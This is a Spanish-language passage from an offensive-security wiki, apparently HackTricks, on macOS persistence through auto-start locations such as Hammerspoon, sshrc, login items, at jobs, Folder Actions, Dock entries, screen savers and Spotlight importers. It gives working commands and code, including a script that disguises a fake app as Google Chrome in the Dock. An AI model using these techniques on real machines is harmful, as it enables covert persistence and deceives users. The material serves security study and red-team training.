**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero Hammerspoon debe estar instalado
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* Solicita permisos de Accesibilidad
|
|
|
|
#### Ubicación
|
|
|
|
* **`~/.hammerspoon/init.lua`**
|
|
* **Disparador**: Una vez que se ejecuta hammerspoon
|
|
|
|
#### Descripción
|
|
|
|
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) es una herramienta de automatización que permite **scripting en macOS a través del lenguaje de scripting LUA**. Incluso podemos incrustar código completo de AppleScript, así como ejecutar scripts de shell.
|
|
|
|
La aplicación busca un único archivo, `~/.hammerspoon/init.lua`, y al iniciarse se ejecutará el script.
|
|
```bash
|
|
mkdir -p "$HOME/.hammerspoon"
|
|
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
|
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
|
|
EOF
|
|
```
|
|
### SSHRC
|
|
|
|
Escrito: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero ssh necesita estar habilitado y utilizado
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* SSH suele tener acceso a FDA
|
|
|
|
#### Ubicación
|
|
|
|
* **`~/.ssh/rc`**
|
|
* **Disparador**: Inicio de sesión vía ssh
|
|
* **`/etc/ssh/sshrc`**
|
|
* Se requiere root
|
|
* **Disparador**: Inicio de sesión vía ssh
|
|
|
|
{% hint style="danger" %}
|
|
Para activar ssh se requiere Acceso Completo al Disco:
|
|
```bash
|
|
sudo systemsetup -setremotelogin on
|
|
```
|
|
{% endhint %}
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Por defecto, a menos que `PermitUserRC no` en `/etc/ssh/sshd_config`, cuando un usuario **inicia sesión a través de SSH** se ejecutarán los scripts **`/etc/ssh/sshrc`** y **`~/.ssh/rc`**.
|
|
|
|
### **Elementos de Inicio**
|
|
|
|
Artículo: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero necesitas ejecutar `osascript` con argumentos
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicaciones
|
|
|
|
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
|
* **Disparador:** Inicio de sesión
|
|
* Carga útil de explotación almacenada llamando a **`osascript`**
|
|
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
|
* **Disparador:** Inicio de sesión
|
|
* Se requiere root
|
|
|
|
#### Descripción
|
|
|
|
En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de Inicio** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\
|
|
Es posible listarlos, añadir y eliminar desde la línea de comandos:
|
|
```bash
|
|
#List all items:
|
|
osascript -e 'tell application "System Events" to get the name of every login item'
|
|
|
|
#Add an item:
|
|
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
|
|
|
|
#Remove an item:
|
|
osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|
```
|
|
Estos elementos se almacenan en el archivo **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
|
|
|
Los **elementos de inicio** también pueden indicarse utilizando la API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) que almacenará la configuración en **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
|
|
|
### ZIP como Elemento de Inicio
|
|
|
|
(Consulte la sección anterior sobre Elementos de Inicio, esta es una extensión)
|
|
|
|
Si almacenas un archivo **ZIP** como un **Elemento de Inicio**, el **`Archive Utility`** lo abrirá y si el zip, por ejemplo, se almacenó en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con una puerta trasera, esa carpeta se creará (no lo está por defecto) y se añadirá el plist para que la próxima vez que el usuario inicie sesión, la **puerta trasera indicada en el plist se ejecutará**.
|
|
|
|
Otras opciones serían crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del HOME del usuario, así que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
|
|
|
### At
|
|
|
|
Artículo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
|
|
|
* Útil para evitar sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero necesitas **ejecutar** **`at`** y debe estar **habilitado**
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* Necesitas **ejecutar** **`at`** y debe estar **habilitado**
|
|
|
|
#### **Descripción**
|
|
|
|
Las "tareas at" se utilizan para **programar tareas en momentos específicos**.\
|
|
Estas tareas difieren de cron en que **son tareas únicas que se eliminan después de ejecutarse**. Sin embargo, **sobrevivirán a un reinicio del sistema**, por lo que no se pueden descartar como una amenaza potencial.
|
|
|
|
Por **defecto** están **deshabilitadas**, pero el usuario **root** puede **habilitarlas** con:
|
|
```bash
|
|
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
|
```
|
|
Esto creará un archivo en 1 hora:
|
|
```bash
|
|
echo "echo 11 > /tmp/at.txt" | at now+1
|
|
```
|
|
Revisa la cola de trabajos utilizando `atq:`
|
|
```shell-session
|
|
sh-3.2# atq
|
|
26 Tue Apr 27 00:46:00 2021
|
|
22 Wed Apr 28 00:29:00 2021
|
|
```
|
|
Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando `at -c JOBNUMBER`
|
|
```shell-session
|
|
sh-3.2# at -c 26
|
|
#!/bin/sh
|
|
# atrun uid=0 gid=0
|
|
# mail csaby 0
|
|
umask 22
|
|
SHELL=/bin/sh; export SHELL
|
|
TERM=xterm-256color; export TERM
|
|
USER=root; export USER
|
|
SUDO_USER=csaby; export SUDO_USER
|
|
SUDO_UID=501; export SUDO_UID
|
|
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
|
|
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
|
|
MAIL=/var/mail/root; export MAIL
|
|
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
|
|
PWD=/Users/csaby; export PWD
|
|
SHLVL=1; export SHLVL
|
|
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
|
|
HOME=/var/root; export HOME
|
|
LOGNAME=root; export LOGNAME
|
|
LC_CTYPE=UTF-8; export LC_CTYPE
|
|
SUDO_GID=20; export SUDO_GID
|
|
_=/usr/bin/at; export _
|
|
cd /Users/csaby || {
|
|
echo 'Execution directory inaccessible' >&2
|
|
exit 1
|
|
}
|
|
unset OLDPWD
|
|
echo 11 > /tmp/at.txt
|
|
```
|
|
{% hint style="warning" %}
|
|
Si las tareas AT no están habilitadas, las tareas creadas no se ejecutarán.
|
|
{% endhint %}
|
|
|
|
Los **archivos de trabajo** se pueden encontrar en `/private/var/at/jobs/`
|
|
```
|
|
sh-3.2# ls -l /private/var/at/jobs/
|
|
total 32
|
|
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
|
|
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
|
|
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
|
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
|
```
|
|
El nombre del archivo contiene la cola, el número de trabajo y el momento en que está programado para ejecutarse. Por ejemplo, veamos `a0001a019bdcd2`.
|
|
|
|
* `a` - esta es la cola
|
|
* `0001a` - número de trabajo en hexadecimal, `0x1a = 26`
|
|
* `019bdcd2` - tiempo en hexadecimal. Representa los minutos transcurridos desde la época. `0x019bdcd2` es `26991826` en decimal. Si lo multiplicamos por 60 obtenemos `1619509560`, que es `GMT: 2021. Abril 27., Martes 7:46:00`.
|
|
|
|
Si imprimimos el archivo de trabajo, encontramos que contiene la misma información que obtuvimos usando `at -c`.
|
|
|
|
### Acciones de Carpeta
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
|
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero necesitas poder llamar a `osascript` con argumentos para contactar a **`System Events`** para poder configurar Acciones de Carpeta
|
|
* Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Tiene algunos permisos básicos de TCC como Escritorio, Documentos y Descargas
|
|
|
|
#### Ubicación
|
|
|
|
* **`/Library/Scripts/Folder Action Scripts`**
|
|
* Se requiere Root
|
|
* **Disparador**: Acceso a la carpeta especificada
|
|
* **`~/Library/Scripts/Folder Action Scripts`**
|
|
* **Disparador**: Acceso a la carpeta especificada
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Un script de Acción de Carpeta se ejecuta cuando se agregan o eliminan elementos de la carpeta a la que está adjunto, o cuando su ventana se abre, cierra, mueve o cambia de tamaño:
|
|
|
|
* Abrir la carpeta a través de la interfaz de usuario del Finder
|
|
* Agregar un archivo a la carpeta (se puede hacer mediante arrastrar/soltar o incluso en un prompt de shell desde un terminal)
|
|
* Eliminar un archivo de la carpeta (se puede hacer mediante arrastrar/soltar o incluso en un prompt de shell desde un terminal)
|
|
* Navegar fuera de la carpeta a través de la interfaz de usuario
|
|
|
|
Hay un par de formas de implementar esto:
|
|
|
|
1. Usar el programa [Automator](https://support.apple.com/guide/automator/welcome/mac) para crear un archivo de flujo de trabajo de Acción de Carpeta (.workflow) e instalarlo como un servicio.
|
|
2. Hacer clic derecho en una carpeta, seleccionar `Configuración de Acciones de Carpeta...`, `Ejecutar Servicio` y adjuntar manualmente un script.
|
|
3. Usar OSAScript para enviar mensajes de Evento de Apple a `System Events.app` para consultar y registrar programáticamente una nueva `Acción de Carpeta`.
|
|
* [ ] Esta es la forma de implementar persistencia usando un OSAScript para enviar mensajes de Evento de Apple a `System Events.app`
|
|
|
|
Este es el script que se ejecutará:
|
|
|
|
{% code title="source.js" %}
|
|
```applescript
|
|
var app = Application.currentApplication();
|
|
app.includeStandardAdditions = true;
|
|
app.doShellScript("touch /tmp/folderaction.txt");
|
|
app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|
app.doShellScript("mkdir /tmp/asd123");
|
|
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|
```
|
|
{% endcode %}
|
|
|
|
Compílalo con: `osacompile -l JavaScript -o folder.scpt source.js`
|
|
|
|
Luego ejecuta el siguiente script para habilitar Acciones de Carpeta y adjuntar el script previamente compilado con la carpeta **`/users/username/Desktop`**:
|
|
```javascript
|
|
var se = Application("System Events");
|
|
se.folderActionsEnabled = true;
|
|
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
|
|
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|
se.folderActions.push(fa);
|
|
fa.scripts.push(myScript);
|
|
```
|
|
Ejecuta el script con: `osascript -l JavaScript /Users/username/attach.scpt`
|
|
|
|
* Esta es la forma de implementar esta persistencia a través de la interfaz gráfica:
|
|
|
|
Este es el script que se ejecutará:
|
|
|
|
{% code title="source.js" %}
|
|
```applescript
|
|
var app = Application.currentApplication();
|
|
app.includeStandardAdditions = true;
|
|
app.doShellScript("touch /tmp/folderaction.txt");
|
|
app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|
app.doShellScript("mkdir /tmp/asd123");
|
|
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|
```
|
|
```
|
|
{% endcode %}
|
|
|
|
Compílalo con: `osacompile -l JavaScript -o folder.scpt source.js`
|
|
|
|
Muévelo a:
|
|
```
|
|
```bash
|
|
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
|
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|
```
|
|
Luego, abre la aplicación `Folder Actions Setup`, selecciona la **carpeta que deseas monitorear** y selecciona en tu caso **`folder.scpt`** (en mi caso lo llamé output2.scp):
|
|
|
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
|
|
|
Ahora, si abres esa carpeta con **Finder**, tu script se ejecutará.
|
|
|
|
Esta configuración se almacenó en el **plist** ubicado en **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** en formato base64.
|
|
|
|
Ahora, intentemos preparar esta persistencia sin acceso a la interfaz gráfica:
|
|
|
|
1. **Copia `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** a `/tmp` para respaldarlo:
|
|
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
|
2. **Elimina** las Acciones de Carpeta que acabas de configurar:
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Ahora que tenemos un entorno vacío
|
|
|
|
3. Copia el archivo de respaldo: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
|
4. Abre Folder Actions Setup.app para consumir esta configuración: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
|
|
|
{% hint style="danger" %}
|
|
Y esto no funcionó para mí, pero esas son las instrucciones del writeup :(
|
|
{% endhint %}
|
|
|
|
### Atajos del Dock
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero necesitas tener instalada una aplicación maliciosa dentro del sistema
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* `~/Library/Preferences/com.apple.dock.plist`
|
|
* **Disparador**: Cuando el usuario hace clic en la app dentro del dock
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Todas las aplicaciones que aparecen en el Dock están especificadas dentro del plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
|
|
|
Es posible **añadir una aplicación** simplemente con:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Add /System/Applications/Books.app
|
|
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
|
|
|
# Restart Dock
|
|
killall Dock
|
|
```
|
|
{% endcode %}
|
|
|
|
Mediante **ingeniería social** podrías **suplantar, por ejemplo, a Google Chrome** dentro del dock y ejecutar realmente tu propio script:
|
|
```bash
|
|
#!/bin/sh
|
|
|
|
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
|
|
|
|
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
|
|
|
|
# Create App structure
|
|
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
|
|
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
|
|
|
|
# Payload to execute
|
|
echo '#!/bin/sh
|
|
open /Applications/Google\ Chrome.app/ &
|
|
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
|
|
|
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
|
|
|
# Info.plist
|
|
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
|
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>CFBundleExecutable</key>
|
|
<string>Google Chrome</string>
|
|
<key>CFBundleIdentifier</key>
|
|
<string>com.google.Chrome</string>
|
|
<key>CFBundleName</key>
|
|
<string>Google Chrome</string>
|
|
<key>CFBundleVersion</key>
|
|
<string>1.0</string>
|
|
<key>CFBundleShortVersionString</key>
|
|
<string>1.0</string>
|
|
<key>CFBundleInfoDictionaryVersion</key>
|
|
<string>6.0</string>
|
|
<key>CFBundlePackageType</key>
|
|
<string>APPL</string>
|
|
<key>CFBundleIconFile</key>
|
|
<string>app</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Copy icon from Google Chrome
|
|
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
|
|
|
|
# Add to Dock
|
|
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
|
killall Dock
|
|
```
|
|
### Selectores de Color
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Una acción muy específica necesita ocurrir
|
|
* Terminarás en otro sandbox
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* `/Library/ColorPickers`
|
|
* Se requiere root
|
|
* Disparador: Usar el selector de color
|
|
* `~/Library/ColorPickers`
|
|
* Disparador: Usar el selector de color
|
|
|
|
#### Descripción y Explotación
|
|
|
|
**Compila un paquete de selector de color** con tu código (podrías usar [**este por ejemplo**](https://github.com/viktorstrate/color-picker-plus)) y añade un constructor (como en la [sección de Protector de Pantalla](macos-auto-start-locations.md#screen-saver)) y copia el paquete a `~/Library/ColorPickers`.
|
|
|
|
Luego, cuando se active el selector de color, tu código también debería ejecutarse.
|
|
|
|
Ten en cuenta que el binario que carga tu biblioteca tiene un sandbox **muy restrictivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
[Key] com.apple.security.temporary-exception.sbpl
|
|
[Value]
|
|
[Array]
|
|
[String] (deny file-write* (home-subpath "/Library/Colors"))
|
|
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
|
|
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
|
|
```
|
|
{% endcode %}
|
|
|
|
### Complementos de Sincronización de Finder
|
|
|
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
|
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
|
|
|
* Útil para evadir sandbox: **No, porque necesitas ejecutar tu propia aplicación**
|
|
* Evasión de TCC: ???
|
|
|
|
#### Ubicación
|
|
|
|
* Una aplicación específica
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Un ejemplo de aplicación con una Extensión de Sincronización de Finder [**se puede encontrar aquí**](https://github.com/D00MFist/InSync).
|
|
|
|
Las aplicaciones pueden tener `Extensiones de Sincronización de Finder`. Esta extensión irá dentro de una aplicación que será ejecutada. Además, para que la extensión pueda ejecutar su código **debe estar firmada** con algún certificado válido de desarrollador de Apple, debe estar **sandboxeada** (aunque se podrían añadir excepciones relajadas) y debe estar registrada con algo como:
|
|
```bash
|
|
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
|
pluginkit -e use -i com.example.InSync.InSync
|
|
```
|
|
### Protector de pantalla
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
|
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero terminarás en un sandbox de aplicación común
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* `/System/Library/Screen Savers`
|
|
* Se requiere root
|
|
* **Disparador**: Seleccionar el protector de pantalla
|
|
* `/Library/Screen Savers`
|
|
* Se requiere root
|
|
* **Disparador**: Seleccionar el protector de pantalla
|
|
* `~/Library/Screen Savers`
|
|
* **Disparador**: Seleccionar el protector de pantalla
|
|
|
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de pantalla**. Luego, añade tu código a él, por ejemplo el siguiente código para generar registros.
|
|
|
|
**Constrúyelo**, y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Después, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
|
|
|
|
Timestamp (process)[PID]
|
|
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
|
|
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
|
|
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="danger" %}
|
|
Tenga en cuenta que debido a que dentro de los derechos del binario que carga este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puede encontrar **`com.apple.security.app-sandbox`**, estará **dentro del sandbox común de aplicaciones**.
|
|
{% endhint %}
|
|
|
|
Código del salvapantallas:
|
|
```objectivec
|
|
//
|
|
// ScreenSaverExampleView.m
|
|
// ScreenSaverExample
|
|
//
|
|
// Created by Carlos Polop on 27/9/23.
|
|
//
|
|
|
|
#import "ScreenSaverExampleView.h"
|
|
|
|
@implementation ScreenSaverExampleView
|
|
|
|
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
self = [super initWithFrame:frame isPreview:isPreview];
|
|
if (self) {
|
|
[self setAnimationTimeInterval:1/30.0];
|
|
}
|
|
return self;
|
|
}
|
|
|
|
- (void)startAnimation
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
[super startAnimation];
|
|
}
|
|
|
|
- (void)stopAnimation
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
[super stopAnimation];
|
|
}
|
|
|
|
- (void)drawRect:(NSRect)rect
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
[super drawRect:rect];
|
|
}
|
|
|
|
- (void)animateOneFrame
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
return;
|
|
}
|
|
|
|
- (BOOL)hasConfigureSheet
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
return NO;
|
|
}
|
|
|
|
- (NSWindow*)configureSheet
|
|
{
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
return nil;
|
|
}
|
|
|
|
__attribute__((constructor))
|
|
void custom(int argc, const char **argv) {
|
|
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|
}
|
|
|
|
@end
|
|
```
|
|
### Complementos de Spotlight
|
|
|
|
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero terminarás en un sandbox de aplicación
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
* El sandbox parece muy limitado
|
|
|
|
#### Ubicación
|
|
|
|
* `~/Library/Spotlight/`
|
|
* **Disparador**: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
|
|
* `/Library/Spotlight/`
|
|
* **Disparador**: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
|
|
* Se requiere acceso root
|
|
* `/System/Library/Spotlight/`
|
|
* **Disparador**: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
|
|
* Se requiere acceso root
|
|
* `Some.app/Contents/Library/Spotlight/`
|
|
* **Disparador**: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
|
|
* Se requiere una nueva aplicación
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios **acceso rápido y completo a los datos en sus computadoras**.\
|
|
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una **base de datos propietaria** y crea un índice **analizando la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivos como por su contenido.
|
|
|
|
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementando esto, hay múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles gracias a los complementos importadores de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight entender e indexar contenido a través de una amplia gama de formatos de archivo.
|
|
|
|
Los complementos o paquetes **`.mdimporter`** se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en un minuto (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué **tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.
|
|
|
|
Es posible **encontrar todos los `mdimporters`** cargados ejecutando:
|
|
```bash
|
|
mdimport -L
|
|
Paths: id(501) (
|
|
"/System/Library/Spotlight/iWork.mdimporter",
|
|
"/System/Library/Spotlight/iPhoto.mdimporter",
|
|
"/System/Library/Spotlight/PDF.mdimporter",
|
|
[...]
|
|
```
|
|
Y por ejemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** se utiliza para analizar este tipo de archivos (extensiones `.iba` y `.book` entre otras):
|
|
```json
|
|
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|
|
|
[...]
|
|
"CFBundleDocumentTypes" => [
|
|
0 => {
|
|
"CFBundleTypeName" => "iBooks Author Book"
|
|
"CFBundleTypeRole" => "MDImporter"
|
|
"LSItemContentTypes" => [
|
|
0 => "com.apple.ibooksauthor.book"
|
|
1 => "com.apple.ibooksauthor.pkgbook"
|
|
2 => "com.apple.ibooksauthor.template"
|
|
3 => "com.apple.ibooksauthor.pkgtemplate"
|
|
]
|
|
"LSTypeIsPackage" => 0
|
|
}
|
|
]
|
|
[...]
|
|
=> {
|
|
"UTTypeConformsTo" => [
|
|
0 => "public.data"
|
|
1 => "public.composite-content"
|
|
]
|
|
"UTTypeDescription" => "iBooks Author Book"
|
|
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
|
|
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
|
|
"UTTypeTagSpecification" => {
|
|
"public.filename-extension" => [
|
|
0 => "iba"
|
|
1 => "book"
|
|
]
|
|
}
|
|
}
|
|
[...]
|
|
```
|
|
{% hint style="danger" %}
|
|
Si revisas el Plist de otros `mdimporter` es posible que no encuentres la entrada **`UTTypeConformsTo`**. Esto se debe a que es un _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrado y no necesita especificar extensiones.
|
|
|
|
Además, los complementos predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no están indexados por los `mdimporters` propios de Apple.
|
|
{% endhint %}
|
|
|
|
Para crear tu propio importador podrías empezar con este proyecto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) y luego cambiar el nombre, los **`CFBundleDocumentTypes`** y agregar **`UTImportedTypeDeclarations`** para que admita la extensión que deseas soportar y reflejarlos en **`schema.xml`**.\
|
|
Luego **cambia** el código de la función **`GetMetadataForFile`** para ejecutar tu payload cuando se crea un archivo con la extensión procesada.
|
|
|
|
Finalmente **construye y copia tu nuevo `.mdimporter`** a una de las ubicaciones anteriores y puedes verificar si se ha cargado **monitoreando los registros** o revisando **`mdimport -L.`**
|
|
|
|
### ~~Panel de Preferencias~~
|
|
|
|
{% hint style="danger" %}
|
|
Parece que esto ya no funciona.
|
|
{% endhint %}
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
